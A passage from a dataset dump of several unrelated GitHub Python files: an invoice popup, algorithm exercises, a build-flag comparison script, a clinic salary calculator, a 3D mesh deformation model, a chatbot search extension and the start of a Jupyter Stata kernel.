dbExec(\"INSERT INTO S_INVOICE (Invoice_Date, Return_Date,Invoice_No,Invoice_Type,Amount,Tax_Rate,Exchange,Buyer_id,Seller_id) values(%s,%s,%s,%s,%s,%s,%s,%s,%s)\",\r\n (billing_dt, return_dt, no, type, amount, tax, amount, PartyA_id, PartyB_id))\r\n #if result > 0:\r\n # dbCommit(\"\"\"DELETE FROM S_GOODS where id not in ( SELECT dt.maxid from (select max(id) maxid from S_GOODS group by Prod_id, Supppiler_id,Brand,Model,Market_DT) dt)\"\"\")\r\n popup_win.close()\r\n main_window.setEnabled(True)\r\n main_window.dTabChange(0)\r\n\r\ndef popup_quit(main_window,popup_win):\r\n globalvar.pick_suppiler_id = ''\r\n popup_win.close()\r\n main_window.setEnabled(True)","repo_name":"jerryshang0226/PyFreeSun","sub_path":"popup_Invoice.py","file_name":"popup_Invoice.py","file_ext":"py","file_size_in_byte":3086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"10377536898","text":"# 배열과 리스트\n# 배열: 바로 접근할 수 있다. 크기를 늘리거나 줄일 수 없다.\n# 리스트: 포인터부터 순서대로 접근해야함(접근속도 느림). 삽입 삭제는 빠름. 크기가 정해져있지 않아 데이터 다루기 용이함.\n# 배열은 인덱스로 바로 접근 가능, 리스트니까 가변적이다. => 파이썬에서는 배열과 리스트를 구분하지 않아 리스트를 겁나 씀! \n\n# 숫자의 합 구하기 11720번 \n# N개의 숫자가 공백 없이 써있고 이 숫자를 모두 합해 출력하는 프로그램을 작성하시오.\nn=int(input())\nnumbers=list(input())\nsum=0\nfor i in numbers:\n sum+=int(i)\nprint(sum)","repo_name":"heosujinnn/py_algorithm","sub_path":"DataStructure/baekjoon11720.py","file_name":"baekjoon11720.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"25274283461","text":"day = int(input(\"Enter number of days: \"))\r\nhours = day * 24\r\nminutes = day * 1440\r\nseconds = day * 86400\r\n\r\nprint(f'''\r\n\tIn {day} day/s there are...\r\n\t{hours} total hours\r\n\t{minutes} total minutes\r\n\t{seconds} total seconds\r\n\t''')","repo_name":"moon-yung/LCT-Python-Challenger-I","sub_path":"challenge8.py","file_name":"challenge8.py","file_ext":"py","file_size_in_byte":230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"35669215555","text":"import argparse\nimport json\nimport os\nimport subprocess\nimport sys\n\n\nSCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))\nFUCHSIA_ROOT = os.path.dirname( # $root\n os.path.dirname( # scripts\n SCRIPT_DIR)) # unification\n\nGN_TARGET = '//src/lib/fxl:fxl_logging(//build/toolchain/fuchsia:arm64-shared)'\nZN_TARGET = '//system/ulib/fdio:fdio.shared(//public/gn/toolchain:user-arm64-clang.shlib)'\n\n\ndef diff_lists(gn_object, zn_object, dimension):\n print('--------------------------')\n print('Parameter [' + dimension + ']')\n gn_set = set(gn_object[dimension])\n zn_set = set(zn_object[dimension])\n gn_only = gn_set - zn_set\n zn_only = zn_set - gn_set\n if not gn_only and not zn_only:\n print('Identical!')\n return\n if gn_only:\n print('GN only:')\n for item in sorted(gn_only):\n print(' ' + item)\n if zn_only:\n print('ZN only:')\n for item in sorted(zn_only):\n print(' ' + item)\n\n\ndef main():\n parser = argparse.ArgumentParser(\n description='Compares C/C++ compilation flags between the GN and ZN builds')\n parser.add_argument('--build-dir',\n help='Path to the GN build dir',\n required=True)\n args = parser.parse_args()\n\n source_dir = FUCHSIA_ROOT\n gn_build_dir = os.path.abspath(args.build_dir)\n zn_build_dir = gn_build_dir + '.zircon'\n\n if sys.platform.startswith('linux'):\n platform = 'linux-x64'\n elif sys.platform.startswith('darwin'):\n platform = 'mac-x64'\n else:\n print('Unsupported platform: %s' % sys.platform)\n return 1\n gn_binary = os.path.join(source_dir, 'prebuilt', 'third_party', 'gn',\n platform, 'gn')\n\n base_command = [gn_binary, 'desc', '--format=json']\n\n print('Getting GN data... [' + GN_TARGET + ']')\n gn_command = base_command + [gn_build_dir, GN_TARGET]\n result = subprocess.check_output(gn_command, cwd=source_dir)\n gn_data = json.loads(result)\n\n print('Getting ZN data... [' + ZN_TARGET + ']')\n zircon_dir = os.path.join(source_dir, 'zircon')\n zn_command = base_command + ['--root=' + zircon_dir, zn_build_dir, ZN_TARGET]\n result = subprocess.check_output(zn_command, cwd=source_dir)\n zn_data = json.loads(result)\n\n gn_object = gn_data.items()[0][1];\n zn_object = zn_data.items()[0][1];\n\n diff_lists(gn_object, zn_object, 'cflags');\n diff_lists(gn_object, zn_object, 'cflags_c');\n diff_lists(gn_object, zn_object, 'cflags_cc');\n\n return 0\n\n\nif __name__ == '__main__':\n exit(main())\n","repo_name":"winksaville/fuchsia","sub_path":"scripts/unification/compare_flags.py","file_name":"compare_flags.py","file_ext":"py","file_size_in_byte":2621,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"24655077800","text":"import datetime\nfrom collections import defaultdict\nfrom dataclasses import dataclass\nimport calendar\n\nfrom src.schedule.entities.schedule import Schedule\n\nfrom src.staff.entities.users.assistant import Assistant\nfrom src.staff.entities.users.householder import Householder\nfrom src.staff.entities.users.anesthetist import Anesthetist\nfrom src.staff.entities.users.doctor import Doctor\nfrom src.staff.entities.users.staff import Staff\nfrom src.staff.entities.users.technician import Technician\nfrom src.staff.entities.users.senior_assistant import SeniorAssistant\nfrom src.staff.entities.users.manager import Manager\nfrom src.staff.entities.users.administrator import Administrator\nfrom src.staff.entities.users.seller import Seller\n\nfrom src.salary.entities.traffic import Traffic\n\nfrom src.staff.entities.department import Department\nfrom src.staff.entities.filial import Filial\n\nfrom src.treatments.entities.service import Service\nfrom src.treatments.entities.treatment import Treatment, MarkDown\n\nfrom src.treatments.repositories.services_repository import ServicesRepository\nfrom src.treatments.repositories.treatments_repository import TreatmentRepository\nfrom src.schedule.repositories.schedule_repository import ScheduleRepository\n\nfrom src.salary.repositories.bonus_repository import BonusRepository\nfrom src.salary.repositories.salary_repository import SalaryRepository\nfrom src.salary.repositories.payout_repository import PayoutRepository\nfrom src.salary.repositories.traffic_repository import TrafficRepository\n\nfrom src.staff.repositories.staff_repository import StaffRepository\n\nfrom src.salary.service.calculators.doctor_calculator import DoctorSalaryCalculator\nfrom src.salary.service.calculators.assistants_calculator import AssistantsSalaryCalculator\nfrom src.salary.service.calculators.anesthetist_calculator import AnesthetistCalculator\n\nfrom src.treatments.repositories.consumables_repository import ConsumablesRepository\n\n\n@dataclass\nclass SalaryReport:\n staff: Staff\n income: float\n volume: float\n fix: float\n payout: float\n award: float\n\n\n@dataclass\nclass DoctorsSalaryReport(SalaryReport):\n treatments: list[Treatment]\n\n\n@dataclass\nclass AssistantSalaryReport(SalaryReport):\n schedule: list[Schedule]\n\n\n@dataclass\nclass SellerSalaryReport(SalaryReport):\n traffic: list[Traffic]\n\n\nclass SalaryCalculationService:\n \"\"\"Расчет ЗП по филиалу.\n В расчет попадает сразу два периода 1-15, 16-31 и сразу все роли в организации.\n Задача сервиса собрать расчеты по каждой роли в единый документ.\"\"\"\n\n def __init__(self, filial: Filial | str,\n date_begin: datetime.date = None,\n date_end: datetime.date = None,\n complaints: list = None):\n self.complaints = [str(c) for c in complaints] if complaints else []\n self.filial = Filial(filial) if type(filial) == str else filial\n\n self.treatment_repo: TreatmentRepository = TreatmentRepository(filial)\n self.submit_services: list[Service] = ServicesRepository.get_submits()\n self.schedule_repo: ScheduleRepository = ScheduleRepository(filial)\n self.bonus_repository: BonusRepository = BonusRepository()\n self.consumables_repo: ConsumablesRepository = ConsumablesRepository()\n self.staff_repo: StaffRepository = StaffRepository()\n self.salary_repo: SalaryRepository = SalaryRepository()\n self.payout_repo: PayoutRepository = PayoutRepository()\n self.traffic_repo: TrafficRepository = TrafficRepository()\n\n self.date_begin = date_begin\n self.date_end = date_end\n\n month = date_begin.month\n year = date_begin.year\n first_day, last_day = calendar.monthrange(year, month)\n first_day = first_day if first_day else 1\n\n self.month_volume: float = self.treatment_repo.get_month_volume_payments(\n datetime.date(year, month, first_day), datetime.date(year, month, last_day)\n )\n\n roles = set([st.__class__ for st in self.staff_repo.get_staff()])\n self.team_members = defaultdict(int)\n for role in roles:\n self.team_members[role] += self.staff_repo.get_amount_by_role(role)\n\n def calc_payouts(self, staff: Staff) -> float:\n total = 0\n payouts = self.payout_repo.get_by_staff(staff.name)\n for pay in payouts:\n if self.date_begin <= pay.on_date <= self.date_end:\n total += pay.amount\n return total\n\n def calc_award(self, staff: Staff) -> float:\n award = 0\n if self.month_volume < 14_000_000:\n return award\n\n if self.date_begin.day < 15:\n return award\n\n if isinstance(staff, Administrator) or isinstance(staff, Assistant) or isinstance(staff, SeniorAssistant):\n members_count = self.team_members[Administrator] + \\\n self.team_members[Assistant] + \\\n self.team_members[SeniorAssistant]\n if members_count == 0:\n members_count = 1\n award += round((self.month_volume * 0.01) / members_count, 2)\n elif isinstance(staff, Manager):\n members_count = self.team_members[Manager]\n if members_count == 0:\n members_count = 1\n award += round((self.month_volume * 0.015) / members_count, 2)\n\n if staff.name == 'Сиразова Руфия Талгатовна':\n award += 10000\n\n return award\n\n # продажники\n def sellers_calc(self) -> list[SellerSalaryReport]:\n salary_reports = []\n for staff in self.staff_repo.get_staff():\n if not isinstance(staff, Seller):\n continue\n\n traffic = list(filter(lambda t: self.date_begin <= t.on_date <= self.date_end,\n self.traffic_repo.get_by_staff(staff.name)))\n volume = sum([t.amount for t in traffic])\n\n salary = self.salary_repo.get_salary(staff, Department('Прочее'), filial=self.filial)\n salary.volume = volume\n award = self.calc_award(staff)\n salary.add_award(award)\n payout = self.calc_payouts(staff)\n salary.add_payout(payout)\n\n salary_reports.append(\n SellerSalaryReport(\n staff=staff,\n income=salary.income,\n award=award,\n volume=volume,\n fix=salary.fix,\n payout=payout,\n traffic=traffic\n )\n )\n return salary_reports\n\n # ассистенты\n def assistants_calc(self) -> list[AssistantSalaryReport]:\n schedules = self.schedule_repo.get_all_schedule(self.date_begin, self.date_end)\n salary_reports = []\n\n for staff, schedule in self._split_schedule(schedules).items():\n if not isinstance(staff, Assistant) and not isinstance(staff, SeniorAssistant) \\\n and not isinstance(staff, Administrator) and not isinstance(staff, Householder):\n continue\n salary = AssistantsSalaryCalculator().calc(staff, schedule, self.filial)\n award = self.calc_award(staff)\n salary.add_award(award)\n payout = self.calc_payouts(staff)\n salary.add_payout(payout)\n\n salary_reports.append(\n AssistantSalaryReport(\n staff=staff,\n income=salary.income,\n volume=salary.volume,\n fix=salary.fix,\n schedule=schedule,\n award=award,\n payout=payout\n )\n )\n return salary_reports\n\n # прочие\n def other_staff_calc(self) -> list[SalaryReport]:\n salary_reports = []\n\n for staff in self.staff_repo.get_staff():\n if isinstance(staff, Doctor) or isinstance(staff, Assistant) or isinstance(staff, SeniorAssistant) \\\n or isinstance(staff, Technician) or isinstance(staff, Anesthetist) or isinstance(staff, Administrator) \\\n or isinstance(staff, Householder) or isinstance(staff, Seller):\n continue\n salary = self.salary_repo.get_salary(staff, Department(\"Прочее\"), filial=self.filial)\n salary.volume = 1\n award = self.calc_award(staff)\n salary.add_award(award)\n payout = self.calc_payouts(staff)\n salary.add_payout(payout)\n\n salary_reports.append(\n SalaryReport(\n staff=staff,\n income=salary.income,\n award=award,\n volume=0,\n fix=salary.fix,\n payout=payout\n )\n )\n return salary_reports\n\n # анестезиологи\n def anesthetists_calc(self) -> list[DoctorsSalaryReport]:\n treatments = self.treatment_repo.get_all_treatments(\n date_begin=self.date_begin,\n date_end=self.date_end\n )\n\n treatments = list(filter(\n lambda t: isinstance(t.staff, Anesthetist),\n treatments\n ))\n\n salary_reports = []\n\n data = defaultdict(list)\n for t in treatments:\n data[t.staff].append(t)\n\n calculator = AnesthetistCalculator()\n for staff, treatments in data.items():\n salary = calculator.calc(staff, treatments, filial=self.filial)\n\n payout = self.calc_payouts(staff)\n salary.add_payout(payout)\n\n salary_reports.append(\n DoctorsSalaryReport(\n staff=staff,\n income=salary.income,\n award=0,\n volume=salary.volume,\n fix=salary.fix,\n treatments=treatments,\n payout=payout\n )\n )\n\n return salary_reports\n\n # врачи\n def doctors_cals(self) -> list[DoctorsSalaryReport]:\n treatments = self._split_treatments(\n self.treatment_repo.get_all_treatments(\n date_begin=self.date_begin,\n date_end=self.date_end\n )\n )\n\n salary_reports = []\n calculator = DoctorSalaryCalculator()\n\n for doctor, departments in treatments.items():\n salaries, marked_treatments = calculator.calc(doctor, departments, filial=self.filial)\n\n payout = self.calc_payouts(doctor)\n\n salary_report = DoctorsSalaryReport(\n staff=doctor,\n income=sum([salary.income for salary in salaries]) - payout,\n volume=sum([salary.volume for salary in salaries]),\n fix=0,\n treatments=marked_treatments,\n payout=payout,\n award=0\n )\n salary_reports.append(salary_report)\n return salary_reports\n\n def _split_schedule(self, schedule: list[Schedule]) -> dict[Staff, list[Schedule]]:\n data = defaultdict(list)\n\n for sch in schedule:\n # if sch.on_date < self.date_begin or sch.on_date > self.date_begin:\n # continue\n bonus = self.bonus_repository.get_bonus(sch.staff, on_date=sch.on_date)\n if bonus:\n sch.bonus = bonus.amount\n sch.comment = bonus.comment\n\n data[sch.staff].append(sch)\n\n return data\n\n def _split_treatments(self, treatments: list[Treatment]) -> dict[Staff, dict[Department, list[Treatment]]]:\n result = defaultdict(lambda: defaultdict(list))\n unique_numbers = []\n\n for treatment in treatments:\n treatment.consumables = self.consumables_repo.get_by_technician_and_service(\n technician=treatment.technician,\n service=treatment.service\n )\n\n if not isinstance(treatment.staff, Doctor):\n continue\n\n if treatment.service in self.submit_services:\n history_treatments = sorted(list(filter(lambda t: t.on_date <= treatment.on_date and\n t.tooth == treatment.tooth and\n t.staff.name == treatment.staff.name and\n t.service not in self.submit_services and\n t.client == treatment.client and\n t.cost != 0,\n treatments)), key=lambda t: t.on_date, reverse=True)\n\n history_treatment = history_treatments[0] if len(history_treatments) > 0 else None\n\n if history_treatment:\n # если прием нашелся среди текущих приемов\n history_treatment.markdown = MarkDown(\n is_history=False,\n number=int(hash(history_treatment))\n )\n treatment.markdown = MarkDown(\n is_history=False,\n prev_treatment=history_treatment\n )\n else:\n # если прием нашелся среди сторических приемов\n history_treatment = self.treatment_repo.get_history_treatment(\n lt_date=treatment.on_date,\n tooth_code=treatment.tooth,\n doctor_name=treatment.staff.name,\n block_services_codes=tuple([service.code for service in self.submit_services]),\n client=treatment.client\n )\n if history_treatment:\n history_treatment.markdown = MarkDown(\n is_history=True,\n number=int(hash(history_treatment))\n )\n treatment.markdown = MarkDown(\n is_history=False,\n prev_treatment=history_treatment,\n number=int(hash(treatment))\n )\n if history_treatment.markdown.number not in self.complaints:\n result[treatment.staff][treatment.department].append(history_treatment)\n\n treatment.markdown.number = int(hash(treatment))\n if treatment.markdown.number not in self.complaints and treatment.markdown.number not in unique_numbers:\n result[treatment.staff][treatment.department].append(treatment)\n unique_numbers.append(treatment.markdown.number)\n\n return result\n","repo_name":"Aaliyah097/aestetica","sub_path":"src/salary/service/salary_calculation_service.py","file_name":"salary_calculation_service.py","file_ext":"py","file_size_in_byte":15102,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6992586224","text":"import tensorflow as tf\nimport numpy as np\nimport math\nimport os\nimport sys\nBASE_DIR = os.path.dirname(os.path.abspath(__file__))\nROOT_DIR = os.path.dirname(BASE_DIR)\nsys.path.append(os.path.join(ROOT_DIR))\nsys.path.append(os.path.join(ROOT_DIR, 'models'))\nimport models.pointnet.model as pointnet\nimport losses\nimport meshnet\nimport deformnet\n\ndef mesh_placeholder_inputs(batch_size, maxnverts, maxntris, num_points, scope=''):\n with tf.variable_scope(scope) as sc:\n # if batch_size == 1:\n # verts_pl = tf.placeholder(tf.float32, shape=(batch_size, None, 3))\n # nverts_pl = tf.placeholder(tf.int32, shape=(batch_size, 1))\n # tris_pl = tf.placeholder(tf.int32, shape=(batch_size, None, 3))\n # ntris_pl = tf.placeholder(tf.int32, shape=(batch_size, 1))\n # else:\n verts_pl = tf.placeholder(tf.float32, shape=(batch_size, maxnverts, 3))\n nverts_pl = tf.placeholder(tf.int32, shape=(batch_size, 1))\n tris_pl = tf.placeholder(tf.int32, shape=(batch_size, maxntris, 3))\n ntris_pl = tf.placeholder(tf.int32, shape=(batch_size, 1))\n\n mesh = {}\n\n mesh['verts'] = verts_pl\n mesh['nverts'] = nverts_pl\n mesh['tris'] = tris_pl\n mesh['ntris'] = ntris_pl\n\n return mesh\n\ndef get_model(src_mesh,\n ref_mesh, num_point, is_training, bn=False, bn_decay=None, localloss=True):\n\n src_verts = src_mesh['verts']\n src_nverts = src_mesh['nverts']\n src_tris = src_mesh['tris']\n src_ntris = src_mesh['ntris']\n\n ref_verts = ref_mesh['verts']\n ref_nverts = ref_mesh['nverts']\n ref_tris = ref_mesh['tris']\n ref_ntris = ref_mesh['ntris']\n # ref_pc = ref_mesh['solidbinvoxpc']\n\n batch_size = src_verts.get_shape()[0].value\n num_src_verts = src_verts.get_shape()[1].value\n\n end_points = {}\n end_points['src_mesh'] = src_mesh\n end_points['ref_mesh'] = ref_mesh\n\n # source\n src_pc, src_pc_, correpondingface, _, _, _ = meshnet.mesh_sample(src_verts, src_nverts, src_tris, src_ntris, batch_size, num_point, src_verts, scope='meshsample') \n end_points['src_pc'] = src_pc\n\n _, src_feats = pointnet.get_model(src_pc, is_training, num_point=num_point, scope='srcpc', bn=bn, bn_decay=bn_decay)\n end_points['src_feats'] = src_feats\n\n ref_pc, _, correpondingface, _, _, _ = meshnet.mesh_sample(ref_verts, ref_nverts, ref_tris, ref_ntris, batch_size, num_point, ref_verts, scope='meshsample') \n end_points['ref_pc'] = ref_pc\n _, ref_feats = pointnet.get_model(ref_pc, is_training, num_point=num_point, scope='refpc', bn=bn, bn_decay=bn_decay)\n end_points['ref_feats'] = ref_feats\n\n with tf.variable_scope(\"sharebiasnet\") as scope: \n pred_pc, centroids = deformnet.get_pred_foldenet_basic(src_pc, src_feats['embedding'], ref_feats['embedding'], is_training, batch_size, num_point, bn, bn_decay)\n end_points['pred_pc'] = pred_pc\n\n scope.reuse_variables() \n pred_verts, _ = deformnet.get_pred_foldenet_basic(src_verts, src_feats['embedding'], ref_feats['embedding'], is_training, batch_size, num_point, bn, bn_decay)\n end_points['pred_verts'] = pred_verts\n\n if localloss:\n delta = 0.005\n localpclap_pred_pc = [pred_pc]\n\n src_pc_x = src_pc[:,:,0]\n src_pc_y = src_pc[:,:,1]\n src_pc_z = src_pc[:,:,2]\n\n src_pc_x1 = src_pc_x + delta\n src_pc_x1 = tf.concat(axis=2, values=[tf.expand_dims(src_pc_x1, -1), src_pc[:,:,1:]])\n src_pc_x2 = src_pc_x - delta\n src_pc_x2 = tf.concat(axis=2, values=[tf.expand_dims(src_pc_x2, -1), src_pc[:,:,1:]])\n\n src_pc_y1 = src_pc_y + delta\n src_pc_y1 = tf.concat(axis=2, values=[tf.expand_dims(src_pc[:,:,0], -1), tf.expand_dims(src_pc_y1, -1), tf.expand_dims(src_pc[:,:,2], -1)])\n src_pc_y2 = src_pc_y - delta\n src_pc_y2 = tf.concat(axis=2, values=[tf.expand_dims(src_pc[:,:,0], -1), tf.expand_dims(src_pc_y2, -1), tf.expand_dims(src_pc[:,:,2], -1)])\n\n src_pc_z1 = src_pc_z + delta\n src_pc_z1 = tf.concat(axis=2, values=[src_pc[:,:,:2], tf.expand_dims(src_pc_z1, -1)])\n src_pc_z2 = src_pc_z - delta\n src_pc_z2 = tf.concat(axis=2, values=[src_pc[:,:,:2], tf.expand_dims(src_pc_z2, -1)]) \n\n pred_pc_x1, _ = deformnet.get_pred_foldenet_basic(src_pc_x1, src_feats['embedding'], ref_feats['embedding'], is_training, batch_size, num_point, bn, bn_decay)\n pred_pc_x2, _ = deformnet.get_pred_foldenet_basic(src_pc_x2, src_feats['embedding'], ref_feats['embedding'], is_training, batch_size, num_point, bn, bn_decay)\n\n pred_pc_y1, _ = deformnet.get_pred_foldenet_basic(src_pc_y1, src_feats['embedding'], ref_feats['embedding'], is_training, batch_size, num_point, bn, bn_decay)\n pred_pc_y2, _ = deformnet.get_pred_foldenet_basic(src_pc_y2, src_feats['embedding'], ref_feats['embedding'], is_training, batch_size, num_point, bn, bn_decay)\n\n pred_pc_z1, _ = deformnet.get_pred_foldenet_basic(src_pc_z1, src_feats['embedding'], ref_feats['embedding'], is_training, batch_size, num_point, bn, bn_decay)\n pred_pc_z2, _ = deformnet.get_pred_foldenet_basic(src_pc_z2, src_feats['embedding'], ref_feats['embedding'], is_training, batch_size, num_point, bn, bn_decay)\n\n localpclap_pred_pc += [[pred_pc_x1, pred_pc_x2],\n [pred_pc_y1, pred_pc_y2], \n [pred_pc_z1, pred_pc_z2]]\n end_points['localpclap_pred_pc'] = localpclap_pred_pc\n\n return end_points\n\n\n\ndef get_loss(end_points, num_class=4):\n\n end_points['losses'] = {}\n\n ## point cloud loss\n pred_pc = end_points['pred_pc']\n ref_pc = end_points['ref_pc']\n pc_cf_loss, end_points = losses.get_chamfer_loss(pred_pc, ref_pc, end_points)\n pc_cf_loss = 10000 * pc_cf_loss\n \n pc_em_loss, end_points = losses.get_em_loss(pred_pc, ref_pc, end_points)\n end_points['losses']['pc_cf_loss'] = pc_cf_loss\n end_points['losses']['pc_em_loss'] = pc_em_loss\n\n ## mesh loss\n pred_verts = end_points['pred_verts']\n src_mesh = end_points['src_mesh']\n src_verts = src_mesh['verts']\n src_nverts = src_mesh['nverts']\n src_tris = src_mesh['tris']\n src_ntris = src_mesh['ntris']\n batch_size = src_verts.get_shape()[0].value\n num_point = ref_pc.get_shape()[1].value\n _, pred_pc_fromverts, correpondingface, _, _, _ = meshnet.mesh_sample(src_verts, src_nverts, src_tris, src_ntris, batch_size, num_point, src_verts, scope='meshsample') \n pred_pc_fromverts = tf.squeeze(pred_pc_fromverts, axis=2)\n mesh_cf_loss, end_points = losses.get_chamfer_loss(pred_pc_fromverts, ref_pc, end_points)\n mesh_cf_loss = 1000 * mesh_cf_loss\n \n mesh_em_loss, end_points = losses.get_em_loss(pred_pc_fromverts, ref_pc, end_points)\n end_points['losses']['mesh_cf_loss'] = mesh_cf_loss\n end_points['losses']['mesh_em_loss'] = mesh_em_loss\n\n ## symmetry loss\n pred_pc_xflip = tf.concat([tf.expand_dims(-pred_pc[:,:,0], axis=2), tf.expand_dims(pred_pc[:,:,1], axis=2), tf.expand_dims(pred_pc[:,:,2], axis=2)], axis = 2)\n pc_symmetry_loss, end_points = losses.get_chamfer_loss(pred_pc_xflip, ref_pc, end_points)\n pc_symmetry_loss = 1000 * pc_symmetry_loss\n match_symmetry_loss, end_points = losses.get_em_loss(pred_pc_xflip, ref_pc, end_points)\n end_points['losses']['pc_symmetry_loss'] = pc_symmetry_loss\n end_points['losses']['match_symmetry_loss'] = match_symmetry_loss\n\n ## local permutation invariance loss\n localpclap_pred_pc = end_points['localpclap_pred_pc']\n pc_local_laplacian_loss, end_points = losses.get_pc_local_laplacian_loss(localpclap_pred_pc, end_points=end_points)\n pc_local_laplacian_loss = 1000 * pc_local_laplacian_loss\n end_points['losses']['pc_local_laplacian_loss'] = pc_local_laplacian_loss\n\n ## mesh laplacian loss\n mesh_laplacian_loss, _ = losses.get_laplacian_loss(src_mesh, pred_verts)\n mesh_laplacian_loss = 0.01 * mesh_laplacian_loss\n end_points['losses']['mesh_laplacian_loss'] = mesh_laplacian_loss\n\n loss = pc_cf_loss + pc_em_loss + \\\n pc_symmetry_loss + match_symmetry_loss + \\\n pc_local_laplacian_loss + \\\n mesh_laplacian_loss + \\\n mesh_cf_loss + mesh_em_loss\n\n end_points['losses']['overall_loss'] = loss\n\n for lossname in end_points['losses'].keys():\n tf.summary.scalar(lossname, end_points['losses'][lossname])\n\n return loss, end_points","repo_name":"laughtervv/3DN","sub_path":"shapenet/3D/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":8527,"program_lang":"python","lang":"en","doc_type":"code","stars":101,"dataset":"github-code","pt":"48"} +{"seq_id":"29186447364","text":"__author__ = \"simonjisu\"\n\nimport torch\nimport torch.nn as nn\nfrom ..base import XaiModel\n\nclass Random(XaiModel):\n \"\"\"VanillaGrad\"\"\"\n def __init__(self, model, norm_mode=1, abs_grad=False):\n super(Random, self).__init__(model)\n self.norm_mode = 1\n \n def get_attribution(self, x, seed):\n \"\"\"vanilla gradient\"\"\"\n torch.manual_seed(seed)\n B, C, H, W = x.size()\n o = torch.rand(B, C*H*W).view(B, C, H, W)\n if self.norm_mode:\n o = self._normalization(o, norm_mode=self.norm_mode)\n return o\n","repo_name":"simonjisu/XAI","sub_path":"torchxai/model/randomattr.py","file_name":"randomattr.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"48"} +{"seq_id":"32757793515","text":"import time\n\nfrom httpx import AsyncClient\nfrom nonebot import logger\n\nfrom .Extension import Extension\n\n# 扩展的配置信息,用于ai理解扩展的功能 *必填*\next_config: dict = {\n \"name\": \"search\", # 扩展名称,用于标识扩展\n \"arguments\": {\n \"keyword\": \"str\", # 关键字\n },\n # 扩展的描述信息,用于提示ai理解扩展的功能 *必填* 尽量简短 使用英文更节省token\n # 如果bot无法理解扩展的功能,可适当添加使用示例 格式: /#扩展名&参数1&...&参数n#/\n \"description\": \"Search for keywords on the Internet and wait for the results. Use when you need to get real-time information or uncertain answers. (usage in response: /#search&keyword#/))\",\n # 参考词,用于上下文参考使用,为空则每次都会被参考(消耗token)\n \"refer_word\": [],\n # 每次消息回复中最大调用次数,不填则默认为99\n \"max_call_times_per_msg\": 1,\n # 作者信息\n \"author\": \"CCYellowStar\",\n # 版本\n \"version\": \"0.0.4\",\n # 扩展简介\n \"intro\": \"让机器人openai能上网搜索\",\n # 调用时是否打断响应 启用后将会在调用后截断后续响应内容\n \"interrupt\": True,\n}\n\n\nclass CustomExtension(Extension):\n async def call(self, arg_dict: dict, _: dict) -> dict:\n \"\"\"当扩展被调用时执行的函数 *由扩展自行实现*\n\n 参数:\n arg_dict: dict, 由ai解析的参数字典 {参数名: 参数值}\n \"\"\"\n custom_config: dict = self.get_custom_config() # 获取yaml中的配置信息\n proxy = custom_config.get(\"proxy\")\n max_results = custom_config.get(\"max_results\", 3)\n\n if proxy and (not proxy.startswith(\"http\")):\n proxy = \"http://\" + proxy\n\n # 从arg_dict中获取参数\n keyword = arg_dict.get(\"keyword\", None)\n\n if (\n keyword is None\n or keyword == self._last_keyword\n or time.time() - self._last_call_time < 10\n ):\n return {}\n\n headers = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.63\"\n }\n url = \"https://ddg-webapp-search.vercel.app/search\"\n async with AsyncClient(proxies=proxy) as cli:\n data = (\n await cli.get(\n url,\n headers=headers,\n params={\n \"q\": keyword,\n \"max_results\": max_results,\n \"region\": \"cn-zh\",\n },\n )\n ).json()\n logger.debug(data)\n\n try:\n text = \"\\n\".join(\n [f\"{data[i]['body']}\" for i in range(len(data)) if i < max_results]\n )\n text = text.replace(\"\\n\\n\", \" \")\n # text = data[0]['body']+\"\\n\"+data[0]['href']+\"\\n\"+data[1]['body']+\"\\n\"+data[1]['href']+\"\\n\"+data[2]['body']+\"\\n\"+data[2]['href']\n # refer_url = data[0]['href']+\"\\n\"+data[1]['href']+\"\\n\"+data[2]['href']\n except:\n return {\n \"text\": f\"[ext_search] 未找到关于'{keyword}'的信息\",\n \"image\": None, # 图片url\n \"voice\": None, # 语音url\n }\n\n # 返回的信息将会被发送到会话中\n self._last_keyword = keyword\n self._last_call_time = time.time()\n return {\n \"text\": f\"[ext_search] 搜索: {keyword} [完成]\",\n \"notify\": {\n \"sender\": f\"[Search results for {keyword} (Please refer to the following information to respond)]\",\n \"msg\": f\"{text}\",\n },\n \"wake_up\": True, # 是否再次响应\n }\n\n def __init__(self, custom_config: dict):\n super().__init__(ext_config.copy(), custom_config)\n self._last_keyword = None\n self._last_call_time = 0\n","repo_name":"KroMiose/nonebot_plugin_naturel_gpt","sub_path":"extensions/ext_search.py","file_name":"ext_search.py","file_ext":"py","file_size_in_byte":3971,"program_lang":"python","lang":"en","doc_type":"code","stars":388,"dataset":"github-code","pt":"48"} +{"seq_id":"4218884115","text":"'''\npystata-kernel\nVersion: 0.3.1\nA simple Jupyter kernel based on pystata.\nRequires Stata 17 and stata_setup.\n'''\n\nfrom ipykernel.ipkernel import IPythonKernel\nfrom .config import get_config\nimport os\nimport sys\nfrom packaging import version\n\nclass PyStataKernel(IPythonKernel):\n implementation = 'pystata-kernel'\n implementation_version = '0.3.1'\n language = 'stata'\n language_version = '17'\n language_info = {\n 'name': 'stata',\n 'mimetype': 'text/x-stata',\n 'codemirror_mode': 'stata',\n 'file_extension': '.do',\n }\n banner = \"pystata-kernel: a Jupyter kernel for Stata based on pystata\"\n\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n self.stata_ready = False\n self.shell.execution_count = 0\n self.echo = False\n self.noecho = False\n self.quietly = False\n self.magic_handler = None\n self.env = None\n\n def launch_stata(self, path, edition, splash=True):\n \"\"\"\n We modify stata_setup to make splash screen optional\n \"\"\"\n if not os.path.isdir(path):\n raise OSError(path + ' is invalid')\n\n if not os.path.isdir(os.path.join(path, 'utilities')):\n raise OSError(path + \" is not Stata's installation path\")\n\n sys.path.append(os.path.join(path, 'utilities'))\n import pystata\n if version.parse(pystata.__version__) >= 